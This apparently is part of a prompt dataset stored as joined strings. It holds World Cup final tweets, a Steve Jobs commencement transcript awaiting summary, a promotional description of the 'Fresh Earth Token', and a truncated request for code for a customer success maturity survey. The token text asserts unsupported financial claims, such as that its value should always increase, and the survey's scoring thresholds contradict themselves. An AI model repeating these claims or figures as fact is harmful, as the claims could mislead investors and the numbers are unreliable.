attack. Argentina leads France 2-0. #FIFAWorldCup 15:36:23.0000000\nMagnificent goal Argentina. Sweeping and brilliant counter attack finished by Di Maria. Assist for Brighton's Mac Allister 15:36:50.0000000\nHe’s having a worldie Di Maria!''What a goal''#arg #fra #ArgentinaVsFrance #WorldCupFinal 15:36:47.0000000\nFantastic goal by Argentina, Di Maria very cool finish! #FIFAWorldCupFinal #ArgentinaVsFrance 15:36:59.0000000\nDi Maria scores the 2nd goal for Argentina.???? France have not turned up in this first half at all.???? #Qatar2022 #ARGFRA 15:36:50.0000000\nDi Maria! What a goal from Argentina ????????''Game over. 15:36:13.0000000\nWHAT A GOAL!!!!''DI MARIA SCORESSSSS!!!!!''ARGENTINA 2 0 FRANCE '35 15:36:29.0000000\nDi Maria with a beautiful goal and Argentins double their lead. France is not themselves today. #ARGFRA 15:36:22.0000000\nArgentina 2-0 Now???? because of a goal by Di Maria ''#WorldCupFinal #ArgentinaVsFrance 15:36:55.0000000\nWhat a goal from Argentina, cut open France like a hot knife through butter. Messi, Di Maria and Mac Allister running the show here. Thoroughly deserved of this World Cup. 15:36:54.0000000\nAbsolutely Superb goal from Argentina great finish from Di Maria ???? 15:36:52.0000000\nGoal for Di Maria. 2-0 #ArgentinaVsFrance #FIFAWorldCup 15:36:36.0000000\nDi Maria scores the second goal for Argentina. 15:36:48.0000000\n2-0 Argentina.''ANGEL DI MARIA DOUBLES THE LEAD!!! ANOTHER GOAL IN A FINAL FOR HIM!!! https://t.co/AFS5UAJ501 15:36:49.0000000\nDi Mariaaaaaa, what a goal!! '#WorldCupFinal 15:36:50.0000000\nArgentina properly blowing France away, Angel di Maria has been the best player on the pitch by miles and he’s deservedly got a goal to show for it. 2-0 Argentina 15:36:59.0000000\n??ARGENTINA DOUBLE THEIR LEAD??''GOAL: Di Maria 35‘ ??????'2-0 15:35:51.0000000\nDI MARIA! GOAL! FRANCE IS COOKED! 15:36:02.0000000\nWhat a goal boom 2-0 di maria #ArgentinaVsFrance 15:36:50.0000000\nArgentina 2-0. Di Maria. A magnificent goal on the break. 15:35:45.0000000\nThat is a beautiful goal!!''Di Maria with the finish and they’ve been all over France 15:36:32.0000000\nDi maria!!!Maria!!!! What a goal the French in the mud!!! #ARGFRA #FIFAWorldCupQatar2022 #FIFAWorldCup 15:36:25.0000000\nWow! What an effing goal Argentina. Di Maria playing like a young man again. Just amazing. 15:36:48.0000000\nLionel Messi assist! Di Maria’s goal! Football heritage! 15:36:53.0000000\nWhat a counter attacking goal. ''Di Maria...#ArgentinaVsFrance 15:36:44.0000000\nDi Maria what a goal that was. Argentina have blown France away here. 15:36:21.0000000\nDi Maria what a goal .. pure counter attack #FIFAWorldCup #FIFAWorldCupFinal 15:36:34.0000000\n#ARGFRA DI MARIAAAAAAAAAAAAAAAAAAAAAAA WHAT A FUCKING GOAL THAT WAS 15:36:18.0000000\nSecond goal for Argentina ''Di Maria https://t.co/RVfNhamMG7 15:36:32.0000000\nWell that DI MARIA goal is much more worthy. VAMOS ARGENTINA 15:36:43.0000000\nGOLOOOOO ANGEL DI MARIAAAAA ??????????????????????????'Goal of the tournament!!'#WorldCupFinal #FIFAWorldCup '#Arg 15:36:43.0000000\nDI MARIA...WHAT A GOAL! What a pass by Mac Allister and what a flick by MESSI! INSANE! VAMOS ARGENTINA! 15:36:44.0000000\n? GOAL: Argentina 2 - 0 France. ANGEL DI MARIA FINISHES OFF AN UNBELIEVABLE MOVE FROM ARGENTINA! WHAT A GOAL!''#FRA | #FRA ''#ad @PepsiGlobal https://t.co/f1YjbdoCEc 15:36:14.0000000\nAnother goal for Argentina... De Maria ????''#ArgentinaVsFrance #WorldCup #FIFAWorldCup #Messi?? #Mbappe 15:36:57.0000000\nBeautiful football... Argentina mesmerizing France what a goal from Di Maria... What a touch 15:36:52.0000000\nWhat a goal on the counter that is! Argentina have been so good here! Brilliant from Mac Allister and what a finish from Di Maria! ?? #ARGFRA #FIFAWorldCup 15:36:56.0000000\n2nd goal for Argentina ???????????????????'Di Maria you beauty ???????? 15:36:22.0000000\nWoooooo Argentina second goal is ?????? great finish by Di Maria 15:36:57.0000000\n?? #WorldCup | #Qatar2022''? 36' | GOAL!!! Angel Di Maria doubles Argentina's lead!''#ARG 2-0 #FRA ''#Selecci?nMayor #FiersdetreBleus #ARGFRA https://t.co/M64jzboGG8 15:36:06.0000000\nWe want another one just like the other one!!!! Beautiful goal!!!! Di Mar?a!!! #ArgentinaVsFrance #FIFAWorldCupFinal ???????????? 15:36:48.0000000\nHe has been the best player on the pitch and he gets another finals goal''Di Maria ''#ArgentinaVsFrance #WorldCupFinal 15:36:38.0000000\nDI MARIA WHAT A GOAL ( I still fucking hate Argentina 15:36:23.0000000\nI knew Di Maria was definitely going to give Argentina a goal!?? 15:36:31.0000000\nBrilliant goal from Argentina. Di Maria. 2-0 Argentina. 15:36:53.0000000\nWhinge all you want about the penalty. There's no denying that Di Maria's goal was ??????''#ArgentinaVsFrance #WorldCup #FIFAWorldCupFinal https://t.co/2DGSE5mCM0 15:36:31.0000000\nArgentina is dominating!''Di Maria Goal!''Argentina 2 - 0 France'#ArgentinaVsFrance 15:36:52.0000000\nDi Maria with the second goal'Argentina 2 - 0 France #FRAARG #FIFAWorldCupFinal 15:36:24.0000000\nGoal for Argentina ??'Argentina 2:0 France ????'??36’ Di Maria ''#EIBQATAR2022 https://t.co/kNI4ODuxg6 15:36:39.0000000\nGoal number 2 for Argentina!!!''Di Maria ??????. https://t.co/aJQG3SKGZ1 15:36:58.0000000\nDi maria what a goal, what a counter #FIFAWorldCup #ArgentinaVsFrance 15:36:59.0000000\nDi Maria Goal! But it's FIFA that scored as some will say ??????'#Messi #ArgentinaVsFrance #FIFAWorldCup 15:36:49.0000000\nDi Maria! What a glorious goal! ???? has got this final! #ArgentinaVsFrance 15:36:28.0000000\nWhat a counter and goal. Di Maria make it 2-0 wow! #WorldCupFinal 15:36:32.0000000\nWhat a Goal Di Maria'#FIFAWorldCupFinal '#ArgentinaVsFrance 15:36:41.0000000\nAlmost my favourite D Maria....what a Goal...#FIFAWorldCup #ArgentinaVsFrance #WorldCup 15:36:35.0000000\nDi Maria deserves this goal. Excellent work today. #ArgentinaVsFrance #WorldCup #FIFAWorldCup 15:36:42.0000000\nDi Maria ''2-0 ''Beautiful goal from Argentina! 15:35:59.0000000\nGOOOOOOOAAAL!!! ''Di Maria doubles the lead for Argentina. What a beautiful team goal. ''Argentina ???? 2???0?? France ???? ''#FifaWorldCup 15:36:50.0000000\nThat was a just goal! Di Maria is really good right now #ArgentinaVsFrance #FIFAWorldCup 15:36:26.0000000\nFinally a nice open play goal from Argentina as opposed to the spot special . Di Maria been the best player thus far today 15:36:42.0000000\nGoal Di Maria!!!! Argentina up 2-0 and France is looking sluggish on offense 15:36:55.0000000\nBrilliant goal, Di Maria is that guy for Argentina 15:36:25.0000000\n36’ GOAL! DI MARIA ON THE COUNTER ATTACK! #FIFAWorldCup''Argentina 2-0 France 15:36:00.0000000\nGOAL 2-0 Argentina! a counter-attack at speed and Di Maria finishes things off. #ARG #FRA #FIFAWorldCup 15:35:51.0000000\nDi Maria hands Argentina another goal, what a beautiful square play. Text book execution and they punish France. 15:36:56.0000000\nGOAL!!!''A lightning break and Angel Di Maria has Argentina two goals up on 35 minutes!''#ARG 2-0 #FRA ''#FIFAWorldCup | #Qatar2022''https://t.co/UmozTF3WiK 15:36:02.0000000\n@sportv All the talk of Messi but do Maria makes this Argentina team and attack so much better and he been the best player so far and deserved that goal 15:36:17.0000000\nArgentina looking like they want it more. Great goal Di Maria 15:36:11.0000000\n2-0. Di Maria. What a goal! Absolutely dominating #FRA #ArgentinaVsFrance #FIFAWorldCup #WorldCup #ARG 15:36:40.0000000\nWhat a goal !!!!'Argentina 'Di Maria!!!!! 15:36:30.0000000\nDi Maria deserves a goal.'Brilliant! #ArgentinaVsFrance 15:36:44.0000000\nWow what a goal. 2-0, Di Maria and game over imo cos France are shite so far. Need a response before half time otherwise its gone. #ArgentinaVsFrance #FIFAWorldCupFinal 15:36:36.0000000\nGame over already? Superb goal by Di Maria and Argentina! #ARGFRA #FIFAWorldCupFinal 15:35:58.0000000\ntotally deserved, Argentina competing dominating. Di Maria is playing so good as well so nice he got the goal '#ARGFRA #FIFAWorldCup 15:36:51.0000000\nDo Maria!!!!! Goal!!!!!! Argentina!!!! 15:36:29.0000000\nGuess that counter attack and goal by Di Maria was rigged too?? Lol'#WorldCupFinal #ArgentinaVsFrance 15:36:21.0000000" +'Title: "Steve Jobs\' 2005 Stanford Commencement Address - YouTube"\nVideo Transcript: "This program is brought to you by Stanford University. Please visit us at stanford.edu Thank You. I am honored to be with you today at your commencement from one of the finest universities in the world. Truth be told I never graduated from college and this is the closest I\'ve ever gotten to a college graduation. Today I want to tell you three stories from my life. That\'s it. No big deal. Just three stories. The first story is about connecting the dots. I dropped out of Reed College after the first 6 months, but then stayed around as a drop-in for another 18 months or so before I really quit. So why did I drop out? It started before I was born. My biological mother was a young, unwed graduate student, and she decided to put me up for adoption. She felt very strongly that I should be adopted by college graduates, so everything was all set for me to be adopted at birth by a lawyer and his wife. Except that when I popped out they decided at the last minute that they really wanted a girl. So my parents, who were on a waiting list, got a call in the middle of the night asking: "We have an unexpected baby boy; do you want him?" They said: "Of course." My biological mother later found out that my mother had never graduated from college and that my father had never graduated from high school. She refused to sign the final adoption papers. She only relented a few months later when my parents promised that I would go to college. This was the start in my life. And 17 years later I did go to college. But I naively chose a college that was almost as expensive as Stanford, and all of my working-class parents\' savings were being spent on my college tuition. After six months, I couldn\'t see the value in it. I had no idea what I wanted to do with my life and no idea how college was going to help me figure it out. And here I was spending all of the money my parents had saved their entire life. So I decided to drop out and trust that it would all work out OK. It was pretty scary at the time, but looking back it was one of the best decisions I ever made. The minute I dropped out I could stop taking the required classes that didn\'t interest me, and begin dropping in on the ones that looked interesting. It wasn\'t all romantic. I didn\'t have a dorm room, so I slept on the floor in friends\' rooms, I returned coke bottles for the 5 cent deposits to buy food with, and I would walk the 7 miles across town every Sunday night to get one good meal a week at the Hare Krishna temple. I loved it. And much of what I stumbled into by following my curiosity and intuition turned out to be priceless later on. Let me give you one example: Reed College at that time offered perhaps the best calligraphy instruction in the country. Throughout the campus every poster, every label on every drawer, was beautifully hand calligraphed. Because I had dropped out and didn\'t have to take the normal classes, I decided to take a calligraphy class to learn how to do this. I learned about serif and san serif typefaces, about varying the amount of space between different letter combinations, about what makes great typography great. It was beautiful, historical, artistically subtle in a way that science can\'t capture, and I found it fascinating. None of this had even a hope of any practical application in my life. But ten years later, when we were designing the first Macintosh computer, it all came back to me. And we designed it all into the Mac. It was the first computer with beautiful typography. If I had never dropped in on that single course in college, the Mac would have never had multiple typefaces or proportionally spaced fonts. And since Windows just copied the Mac, it\'s likely that no personal computer would have them. If I had never dropped out, I would have never dropped in on this calligraphy class, and personal computers might not have the wonderful typography that they do. Of course it was impossible to connect the dots looking forward when I was in college. But it was very, very clear looking backwards ten years later. Again, you can\'t connect the dots looking forward; you can only connect them looking backwards. So you have to trust that the dots will somehow connect in your future. You have to trust in something, your gut, destiny, life, karma, whatever. Beleiveing that the dots will connect down the road will give you the confidence to follow your heart Even when it leads you off the well worn path, and that will make all the difference. My second story is about love and loss. I was lucky I found what I loved to do early in life. Woz and I started Apple in my parents garage when I was 20. We worked hard, and in 10 years Apple had grown from just the two of us in a garage into a $2 billion company with over 4000 employees. We had just released our finest creation the Macintosh a year earlier, and I had just turned 30. And then I got fired. How can you get fired from a company you started? Well, as Apple grew we hired someone who I thought was very talented to run the company with me, and for the first year or so things went well. But then our visions of the future began to diverge and eventually we had a falling out. When we did, our Board of Directors sided with him. So at 30 I was out. And very publicly out. What had been the focus of my entire adult life was gone, and it was devastating. I really didn\'t know what to do for a few months. I felt that I had let the previous generation of entrepreneurs down - that I had dropped the baton as it was being passed to me. I met with David Packard and Bob Noyce and tried to apologize for screwing up so badly. I was a very public failure, and I even thought about running away from the valley. But something slowly began to dawn on me I still loved what I did. The turn of events at Apple had not changed that one bit. I had been rejected, but I was still in love. And so I decided to start over. I didn\'t see it then, but it turned out that getting fired from Apple was the best thing that could have ever happened to me. The heaviness of being successful was replaced by the lightness of being a beginner again, less sure about everything. It freed me to enter one of the most creative periods of my life. During the next five years, I started a company named NeXT, another company named Pixar, and fell in love with an amazing woman who would become my wife. Pixar went on to create the worlds first computer animated feature film, Toy Story, and is now the most successful animation studio in the world. In a remarkable turn of events, Apple bought NeXT, I returned to Apple, and the technology we developed at NeXT is at the heart of Apple\'s current renaissance. And Laurene and I have a wonderful family together. I\'m pretty sure none of this would have happened if I hadn\'t been fired from Apple. It was awful tasting medicine, but I guess the patient needed it. Sometimes life hits you in the head with a brick. Don\'t lose faith. I\'m convinced that the only thing that kept me going was that I loved what I did. You\'ve got to find what you love. And that is as true for your work as it is for your lovers. Your work is going to fill a large part of your life, and the only way to be truly satisfied is to do what you believe is great work. And the only way to do great work is to love what you do. If you haven\'t found it yet, keep looking. Don\'t settle. As with all matters of the heart, you\'ll know when you find it. And, like any great relationship, it just gets better and better as the years roll on. So keep looking. Don\'t settle. My third story is about death. When I was 17, I read a quote that went something like: "If you live each day as if it was your last, someday you\'ll most certainly be right. " It made an impression on me, and since then, for the past 33 years, I have looked in the mirror every morning and asked myself: "If today were the last day of my life, would I want to do what I am about to do today?" And whenever the answer has been "No" for too many days in a row, I know I need to change something. Remembering that I\'ll be dead soon is the most important tool I\'ve ever encountered to help me make the big choices in life. Because almost everything all external expectations, all pride, all fear of embarrassment or failure - these things just fall away in the face of death, leaving only what is truly important. Remembering that you are going to die is the best way I know to avoid the trap of thinking you have something to lose. You are already naked. There is no reason not to follow your heart. About a year ago I was diagnosed with cancer. I had a scan at 7:30 in the morning, and it clearly showed a tumor on my pancreas. I didn\'t even know what a pancreas was. The doctors told me this was almost certainly a type of cancer that is incurable, and that I should expect to live no longer than three to six months. My doctor advised me to go home and get my affairs in order, which is doctor\'s code for prepare to die. It means to try to tell your kids everything you thought you\'d have the next 10 years to tell them in just a few months. It means to make sure everything is buttoned up so that it will be as easy as possible for your family. It means to say your goodbyes. I lived with that diagnosis all day. Later that evening I had a biopsy, where they stuck an endoscope down my throat, through my stomach and into my intestines, put a needle into my pancreas and got a few cells from the tumor. I was sedated, but my wife, who was there, told me that when they viewed the cells under a microscope the doctors started crying because it turned out to be a very rare form of pancreatic cancer that is curable with surgery. I had the surgery and thankfully I\'m fine now. This was the closest I\'ve been to facing death, and I hope its the closest I get for a few more decades. Having lived through it, I can now say this to you with a bit more certainty than when death was a useful but purely intellectual concept: No one wants to die. Even people who want to go to heaven don\'t want to die to get there. And yet death is the destination we all share. No one has ever escaped it. And that is as it should be, because Death is very likely the single best invention of Life. It is Life\'s change agent. It clears out the old to make way for the new. Right now the new is you, but someday not too long from now, you will gradually become the old and be cleared away. Sorry to be so dramatic, but it is quite true. Your time is limited, so don\'t waste it living someone else\'s life. Don\'t be trapped by dogma which is living with the results of other people\'s thinking. Don\'t let the noise of others\' opinions drown out your own inner voice. And most important, have the courage to follow your heart and intuition. They somehow already know what you truly want to become. Everything else is secondary. When I was young, there was an amazing publication called The Whole Earth Catalog, which was one of the bibles of my generation. It was created by a fellow named Stewart Brand not far from here in Menlo Park, and he brought it to life with his poetic touch. This was in the late 1960\'s, before personal computers and desktop publishing, so it was all made with typewriters, scissors, and polaroid cameras. It was sort of like Google in paperback form, 35 years before Google came along: it was idealistic, overflowing with neat tools, and great notions. Stewart and his team put out several issues of The Whole Earth Catalog, and then when it had run its course, they put out a final issue. It was the mid-1970s, and I was your age. On the back cover of their final issue was a photograph of an early morning country road, the kind you might find yourself hitchhiking on if you were so adventurous. Beneath it were the words: "Stay Hungry. Stay Foolish." It was their farewell message as they signed off. Stay Hungry. Stay Foolish. And I have always wished that for myself. And now, as you graduate to begin anew, I wish that for you. Stay Hungry. Stay Foolish. Thank you all very much. The preceding program is copyrighted by Stanford University. Please visit us at stanford.edu"\nVideo Summary:' +"please stand corrected, the FET is: Token Classification\nThe Fresh Earth Token is a unique combination of several different token archetypes, including utility, governance, community, asset-backed, and stablecoin. \n\nUtility: the token's ability to facilitate communication and collaboration between farmers, investors, government bodies, and other stakeholders in the regenerative agriculture ecosystem makes it a powerful tool for coordinating efforts and tracking progress within the ecosystem. \n\nGovernance: The token's decentralized autonomous organization (DAO) governance structure allows for transparent and democratic decision-making processes, further promoting coordination among ecosystem actors.\n\nCommunity: The above combined form the basis for a strong community archetype token.\n\nAsset based: The Fresh Earth Token is a store of value that can be held by stakeholders as a liquid financial reservoir, and may retain value and purchasing power over time. \n\nStable coin: The value of the Fresh Earth Token is linked to the success of the ecosystem and the impact of regenerative projects, allowing for a stable value of the token.\n\nIn Token Classification, the Fresh Earth Token is a Utility Token that functions as a governance token, and is structured as a community token and an asset-backed token.\n\nUnderlying Value of the Fresh Earth Token is based on fractional ownership, impact validation and an economic engine that is built into the ecosystem to drive investment and impact. Assets includes real-world assets, key performance indicators, and access and participation that are all linked to the ecosystem's ability to promote sustainable practices and address the pressing issues of climate change, health, and food security. \n\nShare-Like value includes fractional ownership, rights and privileges, and impact leverage, which all contribute to the ecosystem's ability to internalize the costs of the food system and redistribute the money back into the ecosystem through token sales and rewards, creating an economic engine for the ecosystem.\n\nNetwork Value is built on trust and utility, supply and demand, and network growth, all of which are designed to create a comprehensive, community-based food system that empowers individuals and businesses to take control of their food sources and improve the quality and nutritional density of the food they consume.\n\nThe Fresh Earth ecosystem's classification can be broken down into several key areas.\n\nA. Morphological Domain\n\nToken Form: The Fresh Earth Token is a digital token that is built on the Hashgraph HTS (Hedera Hashgraph Token Service) platform, using Guardian nodes from the Hedera network. This allows for a secure and efficient token form that can be easily integrated into the Fresh Earth ecosystem.\n\nToken Function: The Fresh Earth Token serves several functions within the ecosystem, including as fractional ownership, a means of access, a medium of exchange, a governance tool, and a store of value. These functions are facilitated by its integration with the Hashgraph HTS platform and the decentralized autonomous organization (DAO) governance structure.\n\nToken Structure: The Fresh Earth Token is a decentralized autonomous organization (DAO) that manages the food ecosystem business. It is governed by a set of smart contracts and is controlled by token holders. The Fresh Earth Token is structured as a utility token, with a finite supply that is determined by the ecosystem's needs and growth. The token is also designed to be divisible, which allows for fractional ownership and increased accessibility within the ecosystem.\n\nToken Relationship: The Fresh Earth Token has a symbiotic relationships with regenerated land and land and health of people, and to the growing value of those assets and others within the Fresh Earth ecosystem. The token is also integrated with the Hashgraph HTS platform, which allows for efficient and secure transactions within the ecosystem, further contributing to its value and utility.\n\nB. Pseudo-Archetypes\n\nUtility Token: The Fresh Earth token serves as a utility token, allowing holders to access and participate in the Fresh Earth ecosystem’s products, services, knowledge base and rewards system. It is also a medium of exchange, and a store of value.\n\nGovernance Token: The Fresh Earth Token is governed by a set of smart contracts and is controlled by token holders, allowing for decentralized decision-making within the ecosystem.\n\nCommunity Token: The Fresh Earth Token is a digital collaborative community that empowers individuals and businesses to take control of their food sources and improve the quality and nutritional density of the food they consume. This includes the ability to participate in Fresh Earth Projects, advocacy groups, Buying Groups and Research Groups. \n\nAsset-Backed Token: The Fresh Earth Token represents fractional ownership of the ecosystem, and is valued based on the assets of the ecosystem and the impact of regenerative projects. with its underlying value tied to the value of real-world assets such as the monetizable value of carbon sequestration, biodiversity, water retention, and food nutritional density. These assets are measured by key performance indicators (KPIs) that provide verified measurements of impact, that can be leveraged to secure external funding from government schemes such as carbon trading. They enable the token to access and participate in multiple markets, such as carbon offsetting, pay for performance, impact investing, community-based financing, regenerative agriculture financing, water rights trading, biodiversity offsets, ecosystem services markets, conservation easements, benefit-sharing agreements, and community land, and not least the monetizable value of the massive data accumulation\n\nStablecoin: As an Assets Based Fractional Ownership Token, the Fresh Earth Token is linked to the assets mentioned above. The asset values can be expanded on multiple fronts, by growth of the network, growth of the of tradable values such as carbon credits, and growth in the diversity of values such as water retention, biodiversity and animal welfare as Fresh Earth and society collaborate to value these. Therefore Fresh Earth will have the asset to token ratio to buyback tokens if needed to maintain the value, which fundamentally should always be increasing, as regrnerataed land is a finite source of ever increasing value.\n\nC. Underlying Value\n\nFractional Ownership: The Fresh Earth Token represents fractional ownership of the ecosystem, allowing for investment in the ecosystem without having to purchase the entire ecosystem.\n\nImpact Validation: The Fresh Earth ecosystem includes a validation system that uses data to measure and validate the impact of regenerative practices, ensuring that the ecosystem is having a positive impact on the environment and society.\n\nEconomic Engine: The Fresh Earth ecosystem is designed to internalize the costs of the food system and redistribute the money back into the ecosystem through token sales and rewards, creating an economic engine for the ecosystem.\n\nD. Asset-Based\n\nReal-World Assets: The Fresh Earth ecosystem includes real-world assets such as carbon credits, biodiversity, water retention, and food nutritional density. Also Fresh Earth will own or have JV and licensing relationships with regenerative farming and production systems. See also above under Assets-Based Token\n\nKey Performance Indicators (KPIs): The Fresh Earth ecosystem includes IP such as Key Performance Indicators (KPIs), metrics used to measure and verify the impact of the Fresh Earth ecosystem's projects. \n\nAccess and Participation: The Fresh Earth ecosystem includes a B2B and B2C marketplace, a digital collaborative community, and a rewards system, allowing for access and participation in the ecosystem, and fractional ownership These KPIs provide verified measurements of impact that can be leveraged to secure external funding from various markets.\n\nE. Network Value\n\nTrust and Utility: The Fresh Earth ecosystem aims to create a transparent and verifiable impact for sustainable agrifood projects, thus building trust and utility. This trust is established through the use of blockchain technology, which provides a secure and decentralized platform for the ecosystem to operate on. The utility of the Fresh Earth Token lies in every aspect of the tolen, including its ability to represent fractional ownership of the ecosystem, the empowerment of individuals and businesses to take control of their food sources, their health, and participate in a transformed food system, and the token;s ability to incentivise regenerative behaviour through its reward system.\n\nSupply and Demand: The Fresh Earth ecosystem aims to balance the supply and demand for regenerative food products through its B2B and B2C marketplaces. By connecting regenerative farmers with businesses and consumers, the ecosystem aims to increase the supply of regenerative food products and create a greater demand for them. Additionally, the ecosystem's rewards system aims to incentivize participation and engagement, which in turn drives the demand for the Fresh Earth Token.\n\nNetwork Growth: The Fresh Earth ecosystem includes several networks including B2C, B2B, Digital Communities of both consumers and experts, farm and supplier networks, health practitioners etc. The networks are visible to each other and mutually reinforcing. The intermeshing components of the ecosystem are designed to promote network growth through its various incentive drivers, such as the rewards system and the validation system. As more individuals and businesses participate in the ecosystem, the network becomes more attractive, accelerating growth of the network (Metcalfe's Law.) and the value of the Fresh Earth Token. This empowers the ecosystem's impact on the environment and society. Additionally, the ecosystem's focus on regenerative agriculture practices and community-based food system promotes a positive feedback loop, where the success of the ecosystem drives more investment and greater impact, leading to greater value for token holders. Additionally, Fresh Earth consumers are incentivized and rewarded for their participation in the ecosystem, further driving network growth and increasing the value of the token.\n\nF. Share-Like\n\nFractional Ownership: The Fresh Earth Token represents fractional ownership of the Fresh Earth ecosystem. As a decentralized autonomous organization (DAO), the Fresh Earth ecosystem does not have shares, but each token represents an individual's fractional ownership of the ecosystem , which includes the monetizable regenerative value of a ha of land and health of a person. \n\nRights and Privileges: Holders of the token have certain rights and privileges, including voting power in governance decisions, access to discounted prices on regenerative food products, and access to the digital collaborative community. Additionally there are potential rewards for participating in the ecosystem, including rewards for participating in validation of key performance indicators (KPIs), for purchasing Fresh Earth food products, for referrals or for being a Fresh Earth ambassador.\n\nImpact Leverage: The Fresh Earth token leverages the future impact of regenerative projects, as measured by key performance indicators (KPIs), to secure external funding from carbon offsetting, pay for performance, impact investing, community-based financing, regenerative agriculture financing, water rights trading, biodiversity offsets, ecosystem services markets, conservation easements, benefit-sharing agreements, and community land trusts. These external funds are redistributed back to stakeholders in the form of rewards for participation, further adding value to the token.\n\nIncentive Enablers\nIncentive enablers are features or attributes of the token that facilitate the alignment of incentives between different participants. Fresh Earth tokens provide the following rights that enable stakeholders to participate in the ecosystem and benefit from its growth and success, amongst others:.\n\nRight to use: Fresh Earth tokens may be used to access services and content within the ecosystem, such as access to regenerative farming practices and regeneratively grown food products.\n\nRight to vote: Fresh Earth tokens may be used as a requirement for stakeholders to influence the decision-making of the decentralized autonomous organization (DAO) that manages the Fresh Earth ecosystem.\n\nUnit of account: Fresh Earth tokens may be used to measure the value of services, assets, labor and liabilities within the ecosystem.\n\nMedium of exchange: Fresh Earth tokens may be used as a medium of exchange to trade goods or services within the ecosystem.\n\nStore of value: Fresh Earth tokens may be held by stakeholders as a liquid financial reservoir, and may retain value and purchasing power over time.\n\nIncentive Drivers \nThe Fresh Earth ecosystem is designed to incentivize participation and engagement through a variety of different Incentive Drivers. In addition to the enablers, the Fresh Earth token also serves as a key driver for participation and engagement in the ecosystem. These include:\n\nGet Access: token grants access to services and content within the ecosystem\n\nGet Discount: token holders access discounts on services and content available within the ecosystem\n\nGet Revenue: allows actors within the ecosystem to monetize their participation\n\nGet Reward: token holders are rewarded for actions that contribute to the ecosystem's success and growth, such as adopting regenerative practices and registering land on the platform\n\nParticipate in Governance: token holders can use their tokens to shape the ecosystem's rules and decisions through decentralized governance\n\nAppreciation Potential, which allows token holders to benefit from the ecosystem's success or the uplift in value of the token, and get a share of it by holding, staking or selling tokens\n\nToken use cases and utility\nFresh Earth Tokens will have a number of key use cases and utilities within the Fresh Earth ecosystem. Firstly, they will be used as a means of access to the services and content provided within the ecosystem, such as marketplaces for regeneratively produced food and resources for regenerative farmers. Secondly, they will be used as a means of participation in the governance of the ecosystem, allowing token holders to vote on key decisions and proposals. Thirdly, they will serve as a unit of account and medium of exchange within the ecosystem, allowing for the measurement and intermediation of economic transactions. Finally, they will act as a store of value, with their value being tied to the success and growth of the ecosystem." +"We made a Customer Success Maturity Scan which you can find below. It is a questionairre customer success managers can fill in to find our the maturity level of their customer success organisation. Based on the score of they get an automated maturity report including advise. Can you write code baded on the scan below, so I can put it live on our webflow website:\n''\nQuestions: \nThree categories.\nMetrics and Data: Questions related to measuring and tracking customer success metrics, data analytics, AI or machine learning to improve customer success, customer data usage to segment, target and personalize customer interactions.\nOperations and Automation: Questions related to customer success technology, automation and optimization of customer interactions, granular level customer success tracking and actions taken to improve customer health.\nAccountability and Process: Questions related to accountability for retention, managing the renewal process, sharing customer information among different teams, determining the budget for customer success, identifying potential upselling opportunities, customer feedback usage, determining actions for customer success manager to improve customer health.\nMetrics and Data:\nHow does your company use data analytics, AI, or machine learning to improve customer success?\nHow does your company measure and track customer success metrics?\nHow does your company use customer data to segment, target and personalize customer interactions?\nHow does your company use customer feedback to drive customer success?\nOperations and Automation:\nHow does your company use customer success technology to automate and optimize customer interactions?\nHow does your company measure and track customer success at a granular level?\nHow does your company determine the actions for a customer success manager to improve customer health?\nAccountability and Process:\nWho holds accountability for retention?\nWho manages the renewal process?\nWhat is the process for sharing customer information among different teams?\nWhat factors are considered when determining the budget for customer success?\nWhat methods are used to identify potential upselling opportunities?\n\n\n\nIntroduction of the report: \nWelcome to the Customer Success Maturity Report. A comprehensive guide to understanding where your company stands when it comes to customer success and how to take the next step to excel in it.\nThis report is based on a survey that assesses the maturity of various aspects of customer success, including metrics and data, operations and automation, and accountability and process. The survey consisted of multiple-choice questions, and the answers were scored based on a range of possible values.\nWith this report, you will get a clear picture of your company's customer success maturity, pinpoint the areas that need improvement and discover best practices to elevate your customer success operations.\nWe hope you find this report valuable and insightful, and we are looking forward to working with you to improve your customer success operations.\nScoring: \n\nThe survey you have completed is designed to assess the maturity of your company's customer success department. Your answers to each question have been assigned a score based on a range of possible values, from 1 to 3. These scores have then been totaled for each category, Metrics and Data, Operations and Automation, and Accountability and Process.\n\nThe total possible score for each category is determined by the number of questions in that category and the values assigned to each answer.\n\nWe have also calculated an overall score which is the sum of the scores for all the questions across all categories.\n\nWe have established thresholds for each maturity level in each category and overall maturity level. You can check the maturity level that corresponds with your scores. The thresholds are:\n\nMetrics and Data \nThis category has 4 questions and each question is worth 1 to 3 points, the total possible score for that category would be 12 points (4 questions x 3 points each).\nLow maturity: Score below 5 points out of 9\nAverage maturity: Score between 5 and 7 points\nHigh maturity: Score above 7 points\n\nOperations and Automation\nThis category has 3 questions and each question is worth 1 to 3 points, the total possible score for that category would be 9 points (3 questions x 3 points each).\nLow maturity: Score below 7 points out of 12\nAverage maturity: Score between 7 and 9 points\nHigh maturity: Score above 9 points\n\nAccountability and Process \nThis category has 3 questions and each question is worth 1 to 3 points, the total possible score for that category would be 9 points (3 questions x 3 points each).\nLow maturity: Score below 7 points out of 15\nAverage maturity: Score between 7 and 11 points\nHigh maturity: Score above 11 points\n\nOverall Customer Success Maturity score\nFor an overall score, you would add up the scores for all the questions across all categories. The total possible score would be the sum of the total possible score for each category. There are 15 questions in total, and each question is worth 1 to 3 points, the total possible score would be 45 points (15 questions x 3 points each).\nLow maturity: Score below 30 points out of 45\nAverage maturity: Score between 30 and 37 points\nHigh maturity: Score above 37 points\nDown below you will find a more detailed analysis and drill down further on the scores, what it actually means for your company and what steps you can take to improve. \n\nAnalysis: \n\nHere's a description of the outcome for each of the categories:\n\nMetrics and Data:\nLow maturity: The company does not use data analytics, AI, or machine learning to improve customer success, does not measure or track customer success metrics, and does not use customer data to segment, target, and personalize customer interactions.\nOpportunities: By implementing data analytics, AI, or machine learning, the company can gain valuable insights into customer behavior and improve customer success. By tracking and analyzing customer success metrics, the company can identify areas of improvement and optimize customer interactions.\n\nThreats: Without data analytics, AI, or machine learning, the company may not be able to identify key customer trends or potential issues, and may struggle to improve customer success.\n\nAdvice for going from low to medium maturity could include:\nStarting by identifying key metrics to track customer success\nImplementing basic data analytics tools to track those metrics\nSetting up a process to analyze the data and identify areas of improvement\nStarting to segment customers based on their data and personalize the interactions.\n\nAverage maturity: The company uses basic data analytics to improve customer success, measures and tracks basic customer success metrics, but does not use customer data to segment, target, and personalize customer interactions.\nOpportunities: By implementing more advanced data analytics, AI or machine learning, the company can gain even more valuable insights into customer behavior and improve customer success. By tracking and analyzing customer success metrics in more detail, the 